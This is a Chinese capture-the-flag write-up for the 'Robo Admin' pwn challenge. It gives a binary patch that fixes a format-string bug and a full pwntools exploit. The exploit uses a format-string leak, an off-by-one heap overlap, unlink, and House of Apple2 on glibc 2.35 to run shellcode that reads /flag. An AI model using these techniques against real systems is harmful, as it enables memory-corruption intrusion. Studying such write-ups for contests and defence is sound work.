软件系统安全赛Robo Admin题解


fix

这个位置存在格式化字符串漏洞,同时按照要求增加解码后的判断逻辑即可
没做出来的师傅们可能没有好好读题,题目里面指定了需要审计set_notice函数和show_status函数,所以会有以下三种情况
- 如果原文中出现
$或%,则输出[X] raw input contains illegal chars - 如果解码后的字符串出现
$或%,则输出[X] decoded input contains illegal chars - 不满足以上条件,则允许写入
bss段中
因此我们需要在修复格式化字符串的同时,利用汇编添加第二条的逻辑,至于第二层菜单的off by one甚至都不用修复就可以通过check
1#!/usr/bin/env python2# coding=utf-83
4from AwdPwnPatcher import *5
6binary = "./pwn"7awd = AwdPwnPatcher(binary)8
9fmt_offset = awd.add_constant_in_ehframe("%s\x00\x00")10assembly = """11mov eax, 012mov rsi, rdi13lea rdi, qword ptr [{}]14""".format(hex(fmt_offset))15awd.patch_by_jmp(0x1A45, jmp_to=0x1A4A, assembly=assembly)29 collapsed lines
16
17offset = awd.add_constant_in_ehframe("[X] decoded input contains illegal chars\x00")18assembly = """19lea rax, qword ptr [rbp-0x310]20mov esi, 0x2521mov rdi, rax22call 0x120023test rax, rax24jnz print25
26lea rax, qword ptr [rbp-0x310]27mov esi, 0x2428mov rdi, rax29call 0x120030test rax, rax31jnz print32
33lea rax, qword ptr [rbp-0x310]34jmp 0x190E35
36print:37 lea rax, qword ptr [{}]38 mov rdi, rax39 call 0x11D040 jmp 0x194541""".format(hex(offset))42awd.patch_by_jmp(0x1907, 0x190E, assembly=assembly)43
44awd.save()attack
通过格式化字符串泄露信息,同时泄露password经过login的认证,随后进入主菜单

这个位置存在一个off by one,可以先通过这个off by one修改后一个堆块的size,随后通过后一个堆块覆盖之后的内存,实现堆重叠,随后打unlink就可以直接控制堆块管理内存的权限

随后可以泄露堆的地址,修改_IO_list_all,打house of apple2即可
其实在打unlink之前,一直在尝试通过堆重叠直接篡改fd,由于是glibc 2.35,因此存在异或加密,需要先泄露一个堆地址。由于编辑堆块的时候会在堆块的末尾添加空字符,而show功能利用的是printf,因此很难通过edit + show的方式泄露堆地址,尝试半天后最终选择unlink。我们通过之前的格式化字符串可以泄露出ELF基地址,同时存在溢出写,满足打unlink的条件

我其实觉得攻击挺简单的,不知道为什么华东赛区全场就两个解
1from pwn import *2from LibcSearcher import *3from ctypes import *4
5context(os="linux",arch="amd64",log_level="debug")6
7# io = process("./pwn")8io = remote("192.0.100.2",9999)9# io = gdb.debug("./pwn")10
11elf = ELF("./pwn")12libc = ELF("./libc.so.6")13
14stop = pause15S = pause149 collapsed lines
16leak = lambda name, address: log.info("{} ===> {}".format(name, hex(address)))17x64 = lambda : u64(ru(b"\x7f")[-6:].ljust(8,b'\x00'))18s = io.send19sl = io.sendline20sla = io.sendlineafter21sa = io.sendafter22slt = io.sendlinethen23st = io.sendthen24r = io.recv25rn = io.recvn26rr = io.recvregex27ru = io.recvuntil28ra = io.recvall29rl = io.recvline30rs = io.recvlines31rls = io.recvline_startswith32rle = io.recvline_endswith33rlc = io.recvline_contains34ia = io.interactive35cr = io.can_recv36
37def cmd(i, prompt=b">"):38 sla(prompt, i)39def add(idx, name, size):40 cmd(b"1")41 sla(b"Index:", str(idx).encode())42 sla(b"Task name:", name)43 sla(b"Desc size:", str(size).encode())44 # ......45def edit(idx, leng, data):46 cmd(b"2")47 sla(b"Index:", str(idx).encode())48 sla(b"Write length :", str(leng).encode())49 sla(b"New desc bytes:", data)50 # ......51def show(idx):52 cmd(b"3")53 sla(b"Index:", str(idx).encode())54 # ......55def show_all():56 cmd(b"4")57def dele(idx):58 cmd(b"5")59 sla(b"Index:", str(idx).encode())60 # ......61
62leak = lambda name, address: log.info("{} ===> {}".format(name, hex(address)))63x64 = lambda : u64(ru(b"\x7f")[-6:].ljust(8,b'\x00'))64
65cmd(b"1")66sl(b"\\x2513\\x24p \\x2514\\x24p \\x2515\\x24p \\x2523\\x24p \\x256\\x24p \\x257\\x24p")67# pause()68cmd(b"2")69ru(b"Notice:")70ru(b"0x")71canary = int(r(16), 16)72ru(b"0x")73stack = int(r(12), 16)74ru(b"0x")75elf_base = int(r(12), 16) - 0x289376ru(b"0x")77libc_base = int(r(12), 16) - 0x29d9078_IO_list_all = libc_base + libc.sym["_IO_list_all"]79_IO_wfile_jumps = libc_base + libc.sym["_IO_wfile_jumps"]80setcontext = libc_base + libc.sym["setcontext"] + 6181mprotect = libc_base + libc.sym["mprotect"]82system = libc_base + libc.sym["system"]83
84leak("canary", canary)85leak("stack", stack)86leak("elf_base", elf_base)87leak("libc_base", libc_base)88ru(b"0x")89password1 = int(r(16), 16)90ru(b"0x")91password2 = int(r(16), 16)92leak("password1", password1)93leak("password2", password2)94
95password1 = p64(password1, endianness='big')96print(b"password1 = ", password1)97password2 = p64(password2, endianness='big')98print(b"password2 = ", password2)99pass_word = ""100for i in range(len(password1)):101 pass_word = pass_word + hex(password1[i])[2:]102for i in range(len(password2)):103 pass_word = pass_word + hex(password2[i])[2:]104print(b"pass_word = ", pass_word)105
106cmd(b"3")107ru(b"Token:")108sl(b"ROBOADMIN")109ru(b"Password")110sl(pass_word.encode())111
112add(2, b"AAAA", 0x128)113add(3, b"AAAA", 0x128)114add(4, b"AAAA", 0x100)115add(5, b"AAAA", 0x200)116add(6, b"AAAA", 0x200)117add(7, b"AAAA", 0x100)118
119edit(2, 0x129, b"A"*0x128+b"\xf0")120dele(3)121# pause()122add(3, b"AAAA", 0x1e0)123# pause()124target = elf_base + 0x5158125edit(3, 0x140, (p64(0)+p64(0x120)+p64(target-0x18)+p64(target-0x10)).ljust(0x120, b"A")+p64(0x120)+p64(0x640))126dele(4)127
128edit(3, 0x18, p64(0)+p64(0)+p64(elf_base+0x5168))129show(2)130ru(b"Task<AAAA> => ")131heap_base = u64(r(6).ljust(8, b"\x00")) - 0x1cd0132leak("heap_base", heap_base)133
134edit(3, 0x58, b"A"*0x50 + p64(_IO_list_all))135edit(5, 0x200, flat([setcontext]))136edit(6, 0x200, flat({0x0:0x3b68732020, # _flags137 0x20:0, # _IO_write_base138 0x28:1, # _IO_write_ptr139 0x88:heap_base, # _lock140 0xa0:heap_base+0x20f0, # _wide_data141 0xc0:0, # _mode142 0xd8:_IO_wfile_jumps # vtable143 }, filler = b"\x00"))144edit(7, 0x100, flat({0x18:0,145 0x30:0,146 0xe0:heap_base+0x1cd0-0x68, # backdoor147 0xa0:heap_base+0x1968,148 0x68:heap_base,149 0x70:0x5000,150 0x88:7,151 0xa8:mprotect152 }, filler = b"\x00"))153
154edit(2, 0x10, p64(heap_base+0x1ee0))155
156edit(3, 0x58, b"A"*0x50 + p64(heap_base+0x1960))157shell = shellcraft.amd64.openat(-100, "/flag", 4, 0) + shellcraft.amd64.sendfile(1,3,0,0x1000)158edit(2, 0x100, p64(0x4444444444444444)+p64(heap_base+0x1970)+b'H\xb8\x01\x01\x01\x01\x01\x01\x01\x01PH\xb8.gm`f\x01\x01\x01H1\x04$H\x89\xe6E1\xd2j\x9c_j\x04Z1\xc0f\xb8\x01\x01\x0f\x05A\xba\x01\x01\x01\x01A\x81\xf2\x01\x11\x01\x01j\x01_1\xd2j\x03^j(X\x0f\x05')159
160# pause()161cmd(b"6")162cmd(b"4")163
164ia()